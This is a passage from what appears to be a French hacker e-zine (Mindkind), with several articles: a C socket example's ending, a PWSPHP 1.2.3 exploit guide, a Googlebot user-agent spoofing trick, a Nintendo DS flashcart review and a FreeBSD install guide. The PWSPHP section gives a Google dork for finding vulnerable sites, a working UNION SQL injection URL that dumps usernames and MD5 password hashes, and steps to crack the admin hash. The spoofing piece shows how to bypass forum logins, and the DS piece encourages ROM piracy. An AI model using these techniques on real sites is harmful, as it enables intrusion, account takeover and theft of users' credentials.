        if ((nbytes = nsocket_read(s,buf,1024)) == -1) {
            nsocket_close(s);
            nsocket_free(s);
            return(-1);
        }

        fwrite("[Read]\n",sizeof(char),7,stdout);

        if (nbytes)
            fwrite(buf,sizeof(char),nbytes,stdout);

        /* on ferme le socket */
        nsocket_close(s);
        nsocket_free(s);

        /* clean up */
        nsocket_shutdown();

        return(0);
    }

        =---------------------------END test.c ----------------------------------=

    6. Conclusion

        C'est la partie que je déteste probablement le plus, alors je vais faire ça
        "sweet and short " comme diraient nos copains anglophones. Si vous trouvez
        cet article intéressant, utile ou que vous l'avez détesté; faites-moi-le
        savoir. Bien sûr, si vous n'avez pas aimé dites-moi au moins pourquoi, de
        façon constructive et non pas juste un chargement d'insulte. Croyez-moi, je
        sais à qui parler pour en avoir. Sur ce, à une prochaine fois. Oh! Juste
        comme ça, en passant. Ce code est loin d'être parfait. Je l'ai testé
        rapidement sur windows et linux mais il y a surement de l'optimisation à
        faire et peut-être un ou deux bugs. Mais le but de ce texte n'est que de
        vous donner un exemple ou une base pour un éventuel re-write.

        _____   ________ ________ ______ ____ __  __   _
      /____/  /       //       //  /\  \\   \\ \ \ \  \\   \
       ___   /   ____//_______//__/  \__\\___\\_\ \_\  \\   \
      |   | |   /                /    \
      |   | |  |                /  /\  \
    __|___|_|__| _______ ___ __/__/__\__\__ ___ __  __   _
    __\\________\\______\\__\\____________//__//_/ /_/  //  /
      |\\ | |  |     |  |    /  /      \  \
      | \\| |   \___/   |   /  /   /\   \  \
      |  \   \         /   /  /   /  \   \  \
       \  |   \_______/   /  /   / /\ \   \  \
    __|\\ |______________/  /___/ /  \ \___\  \____ ___ __  _
      | \\|                    / /    \ \
      |__\.

    topic

           ..                     ,.-..                     ,..,
          |  |                  .`     `.                  |    |
          |''|                  |`'---'`|                  |`'-`|
          |<<|                  | _____ |             _,,..|[}{]|.,,,
        _,|<<|,,                | \ D / |         ,-``     |[}{]|    ``',
      .`  `..'  `.              |  |A|  |         |-,,     ``--''    _,-'|
      | `''--''` |              |  |T|  |         |   ``'''------''``    |
      |  [ O4 ]  |              |  |A|  |         |     [ Mindkind ]     |
      `.   ~~   .'              | /   \ |         `-,,    ] 1010 [   _,-'
        `''--''`      _,,,,,,...||  C  ||.....,,,,,,_ ``'''------''```
          |<<|.-''```` _,,,,,...|[  O  ]|...,,,,,,_  ```''-|[}{]|
        ,```   .,-''```         |[  R  ]|          ``''-., |[}{]|,
       |      `.        _,,,,...||  E  ||...,,,,,         '|[}{]| |
       |`-,_   `'-.,,_,`********| \   / |********`._,,.-'` |[}{]|'|
       |    `''-.,,,_ `````'''''---------'''''`````  _,,,.-|[}{]| |
       |`-,_         `````''''''---------'''''''`````      |[}{]|'|
       |    `''[                                          ]|[}{]| |
       |`-,_   [          Exploit PWSPHP V1.2.3           ]|[}{]|'|
       |    `''[                                         ] |[}{]| |
        `-,_        [                              ]  _,,..|[}{]|.,,,
          |<;`'-.,,,_                             ,-``     |[}{]|    ``',
        ,`     ;     ```;;;;;;;;---------;;;;;;;;;|-,,     ``--''    _,-'|
       |`-,_   `'-.,,_,`********|[ !?! ]|********`|   ``'''------''``    |
       |`-,_`''-.,,,_ `````'''''---------'''''````|     ] |Folcan| [     |
       |`-,_`''-.,,, `````''''''---------'''''''```-,,               _,-'
        `-,_`''-.,,,[                                ]``'''------''``
          |<`|'-.,,,_[                              ]_,,,.-|[}{]|
          |<<|       `````''''''---------'''''''`````      |[}{]|
          |<<|                  |]Aka: [|                  |[}{]|
          |<<|             ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__
          |<<|,,.--'''`````   __| \ D / |....--------------|[}{]|,,,,,,,,_   `````'''--..,,_
      _.-'``       ,,.--'`````  |  |A|  |                  |[}{]|         `````''-.,,       ``'-.,
     ;           -`             |  |T|  |,.....----------..|[}{]|,,,_                `'           ;
     |`'-.,,       `''-..,,,_.-`|  |A|  |******************|[}{]|****````-_,,,,,.--'`       _,,-'`|
     |      ```''--..,,,,,_   ```````''''''''--------------''''''''```````   __,,,,..--''```      |
     |                     ````````''''''''''--------------''''''''''````````                     |
     |                                                                                            |

    Prérequis :

    Portail PWSPHP Version 1.2.3 ou intérieur
    Module de sondage non patché
    Utilitaire de crackage de md5 de type JTR ou Cain
    Pour Cain : www.oxid.it/cain.html

    Faille :

    La faille est de type SQL Injection dans l’url, et réside dans une injection de type Union.
    En effet, les modules de sondage filtrent mal la variable « Id », et permettent d’exploiter une
    injection SQL à des fins malicisieuse.

    Vulnérabilité découverte par papipsycho
    Date de parution de la faille : 27/02/2006

    Utilisation :

    Pour commencer, il faut trouver une version faillible, pour cela, google est votre meilleur ami !
    En effet, le puissant moteur de recherche permet de faire une recherche en fonction de l’url.
    Nous savons que ce type de portail avec le module de sondage comportera toujours l’url suivante :

    www.exemple.com/index.php?mod=sondages

    Il nous suffit alors de taper sous google :
        inurl:index.php?mod=sondages

    Vous tombez alors sur une liste de près de 1700 portails faillible.
    Après quelques tests, nous arrivons sans mal trouver un site faillible que nous nommerons :

    www.sitefaillible.com/index.php?mod=sondage

    Et cela nous donne :

    Voici l’url préformaté du union pour exploiter la faille :

    www.sitefaillible.com/index.php?mod=sondages&do=results&id=1%20union%20select%20id,0,0,
    pseudo,pass,pseudo,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20%60users%60%20/*

    Vous tomberez alors, si le site est faillible, sur les résultats des sondages, par users, avec en
    prime, leur mot de passes cryptés en md5 !!!

    Comme par exemple :

    Il nous suffit de connaitre alors le login de l’admin, en fesant une recherche sur le forum du
    pseudo Administrateur.

    Ici, le pseudo était Olivier, et le mot de passe crypté : b5f2196812e36999f1358e365799d085

    Lançons maintenant notre fameux Cain et crackons le md5 :

    topic

    _________________________________________________________
                                                             |
     Entre-Articles                                    Ninja |
    _________________________________________________________|
        |    /   /                           |
        |   /   /                            |
        |  /   /                             |
        | /   /                              |
        |/   /                               |
        |   /                                &
        |  /                                 &
        | /                                 / \
        |/                    [ Google est VRAIMENT votre ami ]
        |
        |  Il vous est surement déjà arrivé de lancer une recherche dans votre moteur de
        |  recherche préféré (prenons Google en exemple) et d'avoir dans les résultats des
        |  liens vers des forums. Bon, jusqu'ici tout est normal. Mais il vous est surement
        |  arriver de suivre un de ces liens et de vous buter à une page d'identification
        |  (login). Même s’il peut paraitre frustrant à première vu que vous n'aurez pas
        |  accès à cette information précieuse que vous tenié à trouver. Détrompez-vous! Il
        |  vous suffis de vous posez la question suivante: Comment se fait-il que Google,
        |  via son webcrawler, aie eu accès à cette page? La réponse est forte simple: le
        |  forum ne demande pas a Google, ou plutôt a Googlebot, de s'identifier. Pourquoi?
        |  Et bien, pourquoi limité les chances de son site à apparaitre sur l'engin de
        |  recherche? Alors, j'espère que les petits vites d'esprit on comprit qu'il suffit de
        |  se faire passer pour Googlebot pour contourner la page d'identification et de
        |  parcourir en toute tranquillité un forum qui nous serait autrement interdit.
        |
        |  Voici un exemple de forum sur lequel ce petit work-around fonctionne:
        |
        |  http://www.governmentsecurity.org/forum/index.php
        |
        |  Il vous faut modifier le user-agent de votre navigateur avant d'accéder à la au
        |  forum en question. Prenons Firefox en exemple, il faut taper about:config dans la
        |  bar d'adresse et de modifier la valeur de la clef suivante:
        |
        |  general.useragent.override
        |
        |  NOTE: Vous aurez probablement à créer cette clef puisqu'elle n'existe
    ____|  pas par défaut.

           pour y mettre:

           Googlebot/2.1 (+http://www.googlebot.com/bot.html)

           Pour IE, il vous faut modifier la base de registre. Allez sur la clef suivante:

           [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\User Agent]

           Créer trois (3) nouvelles 'valeur chaîne' (string value) nommées "Compatible",
           "Version" et "Platform". Vous pouvez aussi modifier la valeur de "(Default)". Pour
           vous aider a mieux comprendre quelles valeur chaînes représentent quoi, voici un
           exemple de User Agent généré par IE:

            Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)
           |  Default  | Compatible | Version |   Platform   |

           Si vous avez des datas après le champ "Platform", dans l'exemple ci-dessus ce
           serait après "Windows NT 5.0", vous devez supprimer les clefs se trouvant dans la
           clef suivante:

           [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent\Post Platform]

           Chaque nom de clef présents dans la clef "Platform" sera envoyé comme champ
           supplémentaire dans la chaine User Agent. Il vous suffit des les supprimer pour les
           retirer de la chaine. Si vous désirer ajouter des champs, il suffit de créer des
           clef.

           Redémarrer Internet Explorer pour que les modifications prennent effet.

           Voici une liste de User Agent de certains bots de recherche:
           http://fr.wikipedia.org/wiki/User-Agent#Robots

           Enjoy

           Ninja

        _____   ________ ________ ______ ____ __  __   _
      /____/  /       //       //  /\  \\   \\ \ \ \  \\   \
       ___   /   ____//_______//__/  \__\\___\\_\ \_\  \\   \
      |   | |   /                /    \
      |   | |  |                /  /\  \
    __|___|_|__| _______ ___ __/__/__\__\__ ___ __  __   _
    __\\________\\______\\__\\____________//__//_/ /_/  //  /
      |\\ | |  |     |  |    /  /      \  \
      | \\| |   \___/   |   /  /   /\   \  \
      |  \   \         /   /  /   /  \   \  \
       \  |   \_______/   /  /   / /\ \   \  \
    __|\\ |______________/  /___/ /  \ \___\  \____ ___ __  _
      | \\|                    / /    \ \
      |__\.

          ..                     ,.-..                     ,..,
          |  |                  .`     `.                  |    |
          |''|                  |`'---'`|                  |`'-`|
          |<<|                  | _____ |             _,,..|[}{]|.,,,
        _,|<<|,,                | \ D / |         ,-``     |[}{]|    ``',
      .`  `..'  `.              |  |A|  |         |-,,     ``--''    _,-'|
      | `''--''` |              |  |T|  |         |   ``'''------''``    |
      |  [ O5 ]  |              |  |A|  |         |     [ Mindkind ]     |
      `.   ~~   .'              | /   \ |         `-,,    ] 1010 [   _,-'
        `''--''`      _,,,,,,...||  C  ||.....,,,,,,_ ``'''------''```
          |<<|.-''```` _,,,,,...|[  O  ]|...,,,,,,_  ```''-|[}{]|
        ,```   .,-''```         |[  R  ]|          ``''-., |[}{]|,
       |      `.        _,,,,...||  E  ||...,,,,,         '|[}{]| |
       |`-,_   `'-.,,_,`********| \   / |********`._,,.-'` |[}{]|'|
       |    `''-.,,,_ `````'''''---------'''''`````  _,,,.-|[}{]| |
       |`-,_         `````''''''---------'''''''`````      |[}{]|'|
       |    `''[                                          ]|[}{]| |
       |`-,_   [       Intro to Nintendo DS Hacking       ]|[}{]|'|
       |    `''[                                         ] |[}{]| |
        `-,_        [                              ]  _,,..|[}{]|.,,,
          |<;`'-.,,,_                             ,-``     |[}{]|    ``',
        ,`     ;     ```;;;;;;;;---------;;;;;;;;;|-,,     ``--''    _,-'|
       |`-,_   `'-.,,_,`********|[ !?! ]|********`|   ``'''------''``    |
       |`-,_`''-.,,,_ `````'''''---------'''''````|     ]   Gonzo  [     |
       |`-,_`''-.,,, `````''''''---------'''''''```-,,               _,-'
        `-,_`''-.,,,[                                ]``'''------''``
          |<`|'-.,,,_[                              ]_,,,.-|[}{]|
          |<<|       `````''''''---------'''''''`````      |[}{]|
          |<<|                  |]Aka: [|                  |[}{]|
          |<<|             ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__
          |<<|,,.--'''`````   __| \ D / |....--------------|[}{]|,,,,,,,,_   `````'''--..,,_
      _.-'``       ,,.--'`````  |  |A|  |                  |[}{]|         `````''-.,,       ``'-.,
     ;           -`             |  |T|  |,.....----------..|[}{]|,,,_                `'           ;
     |`'-.,,       `''-..,,,_.-`|  |A|  |******************|[}{]|****````-_,,,,,.--'`       _,,-'`|
     |      ```''--..,,,,,_   ```````''''''''--------------''''''''```````   __,,,,..--''```      |
     |                     ````````''''''''''--------------''''''''''````````                     |
     |                                                                                            |

    Intro to Nintendo DS Hacking                                                       25/07/06

    A.K.A.

    Best Purchase I made this year

    Word up people! Le Dr est de retour, pour vous jouer un mauvais tour!  (Ta gueule..) Pour rester
    sérieux, il y a un mois, un de mes compagnons de travail a envoyé un E-mail sur une mailing liste
    ultra secrète (pas tant que ça) pour demander s’il y avait du monde intéresser a se procurer un
    "homebrew DS devkit". Comme j'ai toujours voulu programmer pour des consoles sans rien savoir a
    leur propos vu qu’un devkit de Playstation 2 vaut à peu près 20000 -30000 $, je me suis dit que
    c'était une occasion parfaite pour m'y mettre. Voilà où le fun commence. Sans savoir dans quoi
    je m'embarquais, je lui envoie un reply pour lui dire de me mettre sur la liste d'acheteurs.

    Le package comprenait 4 choses que nous avons dû commander un peu partout dans le monde pour une
    valeur totale de 180$A. les 2 choses les plus simples étaient :

    *Mini SD card 1gig

    *Mini SD card reader USB

    Ça se trouve dans les Radio Shack et ce genre de magasin d'électronique. Je vous sortirais bien
    les marques que nous avons achetées, mais je viens tout juste de garrocher les boites sur le
    dessus de mon garde-robe ou il y a littéralement UNE MONTAGNE DE BOÎTES! le SD reader qu'on a
    acheté est assé cool. il permet de lire les cartes SD et 2 autres types que je ne connais pas le
    nom. L'une d'elle me permet de foutre ma carte de camera numérique dedans (j'ai eu la camera
    gratuite à cause qu'il manquait le reader... BARGAIN!). le mini reader est USB et fonctionne
    asser bien sans avoir a installé de drivers spéciaux avec WinXP, OSX, Linux Ubuntu (celui-là est
    dodgy des Foix, mais y' auto-mount a 85% du temp).  ils fournissent aussi des drivers pour les
    vielles version de Windows et Mac OS 8-9.

    La carte mini SD est asser "cute".  ça a la grosseur des sunshine acid  dans le film Peur et
    Dégout a Las Vegas (ironicaly) et doit s'assoir dans un adapter qui viens avec pour qu'on
    puisse la lire dans le SD reader. tout ça est asser straight forward... le résultat est qu'on a
    l'équivalent d'un removal disk dur de 1gig  de la grosseur d'un cap dacid.

    Vous devez commencer à vous douter que cette carte va vite devenir le disque dur de notre DS
    mais ce que vous ne comprenez pas c'est comment est-ce qu'on va rendre le DS capable de lire la
    carte. Si vous regardez bien sur le DS... il n'y a nulle part où on peut insérer ce type de carte.
    Voilà ou ça devient intéressant. Il y a une bande de Japonais fucked up/sautez sus le crack et
    qui ne se sont probablement jamais fait sucé non plus qui ont fini par développer le M3.

    Bon c'est quoi un M3? c'est un bidule de la grosseur d'une cartouche de Gameboy Advance qui fait
    un paquet de trucs le fun.
    http://www.gameboy-advance.net/nintendo_ds/nds-m3adapter.htm

    Voici un link ou vous pouvez vous le commander avec une passcard que je vais vous parler un peu
    plus bas. Ils en fabriquent pour SD et CF card (ou les 2) eh oui si vous ne l'avez pas encore
    deviné, le M3 vous permet d'insérer une carte SD et de l'utiliser comme disque dur. De ce que je
    comprends, le M3 est un peu comme un mini OS foutu sur une carte GBA (qui hi-jack probablement
    le bios en même temp, ici ça commence a allez un peu trop dans l'électrique engineering pour mes
    connaissances, j'ai trouvé une couple de wiki qui explique les différentes adresses pis comment
    hi-jacker le bios de la machine. Je n’aime autant pas trop parler de se que je ne comprends pas
    trop).  so nous allons nous contenter de prendre le M3 comme un bidule qui a un mini OS/firmware
    qui nous permet de lire la carte SD/CF et flaire un paquet d'autres trucs que je vais discuter
    plus tard dans l'article.

    Note : le M3 n'est pas DS spécifique, il va fonctionner sur le GBA itou.

    Maintenant, la fameuse Passcard. OK celle-là de se que j'ai lue, c'est une carte d'la grosseur
    d'une cartouche de DS qui se charge de flasher le bios du DS pour pouvoir aller en mode command
    (se qui vous permet d'accéder au features du M3... ici encore, je suis pas un pro en électronique,
    so ça pourrait être faux comme information, mais de se que je comprends, il y a une protection sur
    le bios et la pass card vous permet de bypasser cette protection)

    Note : maintenant que vous avez les 4 éléments requis, le fun peu commencer. Faites attention,
    avant de tout plugger. Lisez bien la documentation qui vient avec la passcard et le M3, il y a
    quelque chose a faire la première foix que vous booter le DS pour pouvoir supporter plus de
    features. Je vous avertis, la documentation a été traduis tr mal de japonais a anglais, c'est
    asser dur a suivre.

    DS features
    Le DS est une console asser pas puissante. c'est un peu comme s’ils avaient pris un N64 et avaient
    foutu ça dans une boite de la grosseur de 2 paquets de cigarettes canadiennes. Malgré tout, vu
    que nous n’avons pas d'OS à faire rouler, c'est un peu comme si tout le power de la machine étais a
    nous.

    *premièrement, le DS contient 2 micros processeur d'architecture ARM (ARM7TDMI , et ARM946E-S.
    co-processor qui roule a 67mhz et 33mhz avec 4mb de RAM.. je vais aller plus en détail si je viens
    qu'a écrire mon article de programmation pour le DS)

    *2 écrans 256x192 (pas beaucoup comparé à vos écrans 1600x1200) où celle du bas a une touch
    screen reader

    *microphone avec support pour récognition de la voie

    * supports wireless 802.11b (WiFi) standards (permet des connexions de 30 -100 pieds de distance)

    *des speakers intégrés

    *supports 2D/3D
        *en théorie, le DS pourrait renderer jusqu'a 120000 triangles, mais ce n'est pas suggère
    d'en renderer plus que 4000 si on veut garder un frame rate de 30fps
        * il peut aussi loader des textures dans la mémoire.
        *support pour cel shading (c'est Nintendo cameme)

    *j'en oublie peu être

    M3 features
    Le M3 à tout plein de choses intéressantes. Le DS supporte Bios supporte GBA et DS mode, alors
    nous pouvons aller dans ces 2 modes pour aller jouer avec le M3. Il y a une interface très
    simple avec différentes options.

    *Movie - Eh oui, le M3 nous permet de faire jouer nos films préférés sur le DS. Bien sur, vous
    ne pouvez pas simplement placer un .avi DivX sur la SD card et expecter que le M# va le jouer. Le
    DS n'est pas asser puissant pour décompresser la compression DivX en même temp que de faire jouer
    le film. La compagnie qui a créé M3 a été asser smat pour nous donner un Mini-CD-ROM avec 2-3
    programmes utiles dessus. L'un d'eux est un Movie Converter et un Codec Pack. (Ce sont des
    programmes Windows, mais j'ai réussi à les installer avec Wine et c'est supposé fonctionner
    avec VirtualPC) le programme va prendre un fichier film et le convertir en fichier raw (j'assume
    que c'est une compression très simple, s’il y a même une compression. Et il va surement réduire
    la résolution du film pour 256x192). Le programme va même se charger d'écrire le fichier sur la
    carte SD (si elle est trouvée). Tout ce qui vous reste a faire c'est mettre la carte SD dans le
    M3 et voila! vous pouvez écouter les épisodes des Simpsons dans le bus en allant au travaille.

    *Music - il y a aussi un music player. bon, un peu comme le movie, je pense qu'il faut
    re-compresser vos mp3 en un format pas trop compresser pour que le DS puisse lire. Je ne l'ai
    pas encore essayé, mais en théorie, votre DS devient un iPod (il vous reste juste à voler la
    paire d'écouteur à votre petit frère et vous allez pogner avec toutes les chicks!)

    *Pictures - un simple picture viewer. je ne suis pas sur quel format sont supporté, mais je
    dirais que Bitmap et JPEG fonctionnent parfaitement (vous pouvez transporter votre pr0n itou
    dans le bus)

    *Books - ça j'ai pas checké, mais je pense que ça vous permet de lire des formats eBooks (eh
    oui... lire Mindkind dans le bus. Sur votre DS.. 1337)

    *PDA - Ici je ne connais pas vraiment les PDA mais je pense que ça permet de lire des applications
    pour PDA. (Quand je clique dessus, ça dit que ça ne trouve pas de fichier.pda sur mon disque dur)

    *Extend - ça, je ne comprends pas trop. Ça change la façon de voir mon interface graphique du M3
    mais ça n'a pas l'air de faire grand-chose de plus.

    *Setup - ici, nous pouvons modifier les settings du M3 (il n'y en a pas beaucoup), mais le M3
    support sleepmode maintenant (wuhu... ma batterie va durer plus longtemps)

    *Games - voici la partie qui m'intéresse le plus et que d'âpres moi a le plus a offrir. Tout le
    monde devrait savoir se que c'est un émulateur et des ROMS? oui, bon OK... les gars de M3 on
    foutu la possibilité de jouer a n'importe quelles ROMS de Nes, SNes, GB, GBA, smc, NDS et
    probablement d'autres consoles qui sont sorties seulement au japon! oui! vous m'avez bien compris,
    vous pouvez downloader tout la série de NES ROMS sur l'internet et les mètres tous sur votre
    carte SD! GRATUITEMENT!!! anyway, si vous être un gamer cracker mental comme moi, vous devez
    comprendre pourquoi je dis que c'est le meilleur achat que j'ai fait cette année. 180$A et j'ai
    presque tous les jeux de Nintendo gratuit sur mon DS que je peu trimbaler n'importe où! des heures
    et des heures d'entertainment!!! Sur le miniCD-ROM que M3 nous donne avec la carte, il y a un
    programme qui s'appelle "Game Manager" (ils se sont forcés pour trouver un nom) qui est un
    programme Windows, mais qui fonctionne très bien avec Wine et VirtualPC. il vous permet de
    prendre n'importe quelles ROMS supportées et de le transformer en format qui va jouer sur le
    M3/DS/GBA. c'est asser straight forward, si vous ne comprenez pas, lisez le manuel qui vient avec
    (c'est GUI et nom command line)

    Conclusion
    bon asteure avec cette information-là, vous êtes près à 3 choses :

    *être un Nintendo Warez Pimpz

    *flasher devant tous vos amis en disant que vous avez hacker votre DS pour flaire tout ça

    *transporter du data illégal au travers de n'importe quelle douane vu que c'est probablement trop
    débile comme amanchure pour qui pense a essayé de comprendre comment ce bidule la marche (tout
    se qu'ils savent faire c'est étampé votre passe-port... malgré que je n'aurais probablement pas
    dû dire ça vu que la GRC nous espionne et maintenant ils vont s'assurer que tous les DS qui
    rentrent au pays ne sont pas hacker)

    Où allons-nous à partir d'ici? OK pour être sérieux, ça ne serre pas juste à flasher et jouer a
    des jeux en 8 bits. Si vous vous rappelez de mon intention première en achetant le gadget, c'était
    pour faire du Homebrew développement. Oui c'est possible! vous pouvez compiler votre code pour le
    DS et créer votre propre version de Tetris en exploitant les capacités du DS hardware.  C’est
    asser intéressant comme forme de programmation. C’est low level et restreint, mais ça vous donne
    une expérience de "c'est quoi programmer pour une machine qui n'est pas exactement un ordinateur
    x86". j'ai commencé a travaillé il y a 2 semaines avec NDSLib et GBALib. J’ai réussi a faire
    apparaitre des polygones sur l'écran (en utilisant leur amanchure de render qui appelle "OpenGL"
    mais qui ne l'est pas vraiment) avec une petite console pour afficher du texte et il n'y a pas
    beaucoup de lignes de code. Je vais me pratiquer un peu plus et je vais essayer de vous flaire un
    article futur sur comment débuter a faire vos propres programmes pour le DS tout en expliquant
    comment compiler votre code et faire fonctionner les 2 processeurs simultanément.

    Pour l'instant, contentez-vous de jouer avec tous les jeux magnifiques qui ont été inventer sur
    les vieilles consoles au lieu de vous pourrir l'esprit avec des clones de Doom + cool Lighting FX.

    Say hi to your mum for me...
    Dr.Gonzo

        _____   ________ ________ ______ ____ __  __   _
      /____/  /       //       //  /\  \\   \\ \ \ \  \\   \
       ___   /   ____//_______//__/  \__\\___\\_\ \_\  \\   \
      |   | |   /                /    \
      |   | |  |                /  /\  \
    __|___|_|__| _______ ___ __/__/__\__\__ ___ __  __   _
    __\\________\\______\\__\\____________//__//_/ /_/  //  /
      |\\ | |  |     |  |    /  /      \  \
      | \\| |   \___/   |   /  /   /\   \  \
      |  \   \         /   /  /   /  \   \  \
       \  |   \_______/   /  /   / /\ \   \  \
    __|\\ |______________/  /___/ /  \ \___\  \____ ___ __  _
      | \\|                    / /    \ \
      |__\.

    topic

           ..                     ,.-..                     ,..,
          |  |                  .`     `.                  |    |
          |''|                  |`'---'`|                  |`'-`|
          |<<|                  | _____ |             _,,..|[}{]|.,,,
        _,|<<|,,                | \ D / |         ,-``     |[}{]|    ``',
      .`  `..'  `.              |  |A|  |         |-,,     ``--''    _,-'|
      | `''--''` |              |  |T|  |         |   ``'''------''``    |
      |  [ O6 ]  |              |  |A|  |         |     [ Mindkind ]     |
      `.   ~~   .'              | /   \ |         `-,,    ] 1010 [   _,-'
        `''--''`      _,,,,,,...||  C  ||.....,,,,,,_ ``'''------''```
          |<<|.-''```` _,,,,,...|[  O  ]|...,,,,,,_  ```''-|[}{]|
        ,```   .,-''```         |[  R  ]|          ``''-., |[}{]|,
       |      `.        _,,,,...||  E  ||...,,,,,         '|[}{]| |
       |`-,_   `'-.,,_,`********| \   / |********`._,,.-'` |[}{]|'|
       |    `''-.,,,_ `````'''''---------'''''`````  _,,,.-|[}{]| |
       |`-,_         `````''''''---------'''''''`````      |[}{]|'|
       |    `''[                                          ]|[}{]| |
       |`-,_   [          Get started with freeBSD        ]|[}{]|'|
       |    `''[                                         ] |[}{]| |
        `-,_        [                              ]  _,,..|[}{]|.,,,
          |<;`'-.,,,_                             ,-``     |[}{]|    ``',
        ,`     ;     ```;;;;;;;;---------;;;;;;;;;|-,,     ``--''    _,-'|
       |`-,_   `'-.,,_,`********|[ !?! ]|********`|   ``'''------''``    |
       |`-,_`''-.,,,_ `````'''''---------'''''````|       ] Oda  [       |
       |`-,_`''-.,,, `````''''''---------'''''''```-,,               _,-'
        `-,_`''-.,,,[                                ]``'''------''``
          |<`|'-.,,,_[                              ]_,,,.-|[}{]|
          |<<|       `````''''''---------'''''''`````      |[}{]|
          |<<|                  |]Aka: [|                  |[}{]|
          |<<|             ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__
          |<<|,,.--'''`````   __| \ D / |....--------------|[}{]|,,,,,,,,_   `````'''--..,,_
      _.-'``       ,,.--'`````  |  |A|  |                  |[}{]|         `````''-.,,       ``'-.,
     ;           -`             |  |T|  |,.....----------..|[}{]|,,,_                `'           ;
     |`'-.,,       `''-..,,,_.-`|  |A|  |******************|[}{]|****````-_,,,,,.--'`       _,,-'`|
     |      ```''--..,,,,,_   ```````''''''''--------------''''''''```````   __,,,,..--''```      |
     |                     ````````''''''''''--------------''''''''''````````                     |
     |                                                                                            |

    I. Intro :
       Pour commencer je pars du fait que vous connaissez un minimum l'Unix ou linux donc si
    ces deux mots ne vous parlent pas l'article sera probablement un niveau trop haut pour vous smile.

       Quelles sont les différences entre FreeBSD et Linux :
           - déjà linux n'est qu'un noyau (kernel) alors que freeBSD est un OS à part entière (noyau
             + commande de base genre  ls,pwd etc...).
           - La seconde différence est la licence pour faire simple la licence BSD c'est "Voila notre
             code fait en absolument ce que vous voulez " et cette licence a permis de voir naitre
             Mac OS qui basé sur du code BSD. Bon voilà pour les quelques différences majeures... (car
             il y en a pas mal d'autres).

    II. Installation :
       Pour installer FreeBSD il faut que vous alliez chercher l'iso qui va bien sur à l'heure ou je
    parle la dernière version est la 6.1.  Un petit conseil avant de se lancer, faites une sauvegarde
    de vos disques (on ne sait jamais !!!! ).

       On grave l'iso et op on boot dessus... Au boot apparait l'assistant d'installation (sysinstall).
    Pour une installation type allée dans "Standard". Vous pouvez vous promener dans les menus si vous
    voulez voir un peu à quoi ça ressemble, mais pour débuter le menu "Standard" convient parfaitement.

    II - 1) allouer de l'espace disque :

       À partir de maintenant il va falloir allouer de l'espace disque pour l'OS. Premièrement, choisissez
    le disque sur lequel installer l'OS (par exemple ad0 mais cela peut être différent dans votre cas).

       Le nommage des disques sous FreeBSD se fait de la manière suivante :
       ad     Disque ATAPI (IDE)
       da     Disque SCSI
       acd CDROM ATAPI (IDE)
       cd     CDROM SCSI
       fd     Lecteur de disquettes
    Donc le disque ad0s1a correspond à un disque IDE (ad), le premier disque IDE (ad0) . Le reste
    correspond au formatage dans notre exemple le premier slice (s1) et la première partition (a).

       Une fois le disque choisi, vous voici dans "fdisk" qui vous permet de partitionner le disque.
    Dans un premier temps, il faut définir les slices (tranche en français) qui correspondent pour faire
    simple à des partitions physiques dans lesquels on créera par après les partitions logiques. Dans notre
    exemple nous choisirons tout le disque, pour ce faire appuyer sur A. Il faut également que le disque
    soit bootable pour ce faire appuyer sur S (vous voyez la  signification des commandes dans la parti
    inférieur de fdisk). Une fois le slice créé faite Q pour terminer.

       Une fois le slice créé, sysinstall vous demande quel type de "boot manager" installé. Le boot
    manager c'est le joli menu au boot de votre machine pour choisir votre OS de prédilection.
    Choisisez "Standard" s’il n'y aura que freeBSD  sur votre machine ou "BootMgr" si d'autres OS peuvent
    etre choisi au boot.

       À présent nous allons créer les partitions sur le slice que vous avez créé précédemment. Sur le
    slice faites C pour créer une partition. Choisissez la taille de celle-ci par exemple 8000M pour 8Go,
    choisissez si cette partition sera de la swap ou un FileSystem, choisissez le point de montage dans le
    cas d'un filesystem par exemple /. Répéter l'opération pour toutes les partitions que vous souhaitez
    créer. Une fois terminée faite Q pour quitter.

    II - 2) Installation de l'os en lui même :

      Sysinstall va partitionner vos disques, après cela vous arrivez au choix des packages à installer.
    Moi je préfère installer uniquement le package minimum et installer le reste après sur le système,
    vous pouvez faire comme bon vous plait. Donc je choisi minumum avec espace et je fais OK.

       Sysinstall demande le support d'installation, le CD-ROM dans notre cas.

       L'installation va se dérouler. Après celle-ci différentes questions vont vous être pose du type
    voulez vous configurer votre réseau, etc... Répondez en fonction de vos besoins. Ils vous sera
    également demande de créer un compte utilisateur et de saisir le mot de passe root (petite astuce : si
    vous souhaitez que votre utilisateur puisse faire su pour devenir root ajouter le dans le group wheel
    autrement il ne pourra pas faire de su).

       Et voila votre installation est finie.

       Reboot... et bonne chance

    III. Installation de package

      Votre système tout beau tout neuf boot, a présent vous voulez installer des trucs dessus...
    Au premier boot faites 'portsnap fetch' suivit de 'portsnap extract' cela a pour but de mettre a jour
    tous les portages à partir du site de  freebsd. Après cela la liste des packages se trouve dans
    /usr/port/.

       Nous allons installer par exemple nmap pour cela nous allons dans /usr/port/security/nmap et la
    nous faisons 'make install clean' et après quelques minutes de compilation voila nmap d'installer.
    (petite astuce : je conseille d'installer /usr/port/sysutils/portmanager qui permet de mettre votre
    système a jour automatiquement de la manière suivant 'portsnap fetch update' mais a jour la référence
    /usr/port et ensuite 'portmanager -u' qui compare ce qui est installé sur votre machine et ce qui a
    été mis a jour dans /usr/port/ très pratique pour que votre système soit toujours a jour).

    Au prochain article on verra comment fonctionne l'init de freebsd ainsi que la manière de sécurisexe
    encore un peu plus cet OS...

    UNE VERSION AVEC SCREENSHOT EST DISSPONIBLE SUR : http://www.hackever.org

    Écrit par Oda
         __  __           __  _____
        / / / /___ ______/ /_|__  /   _____  _____
       / /_/ / __ `/ ___/ //_//_ < | / / _ \/ ___/
      / __  / /_/ / /__/ ,< ___/ / |/ /  __/ /
     /_/ /_/\__,_/\___/_/|_/____/|___/\___/_/     - (c)Hack3ver - All rights reversed.

    topic

           ..                     ,.-..                     ,..,
          |  |                  .`     `.                  |    |
          |''|                  |`'---'`|                  |`'-`|
          |<<|                  | _____ |             _,,..|[}{]|.,,,
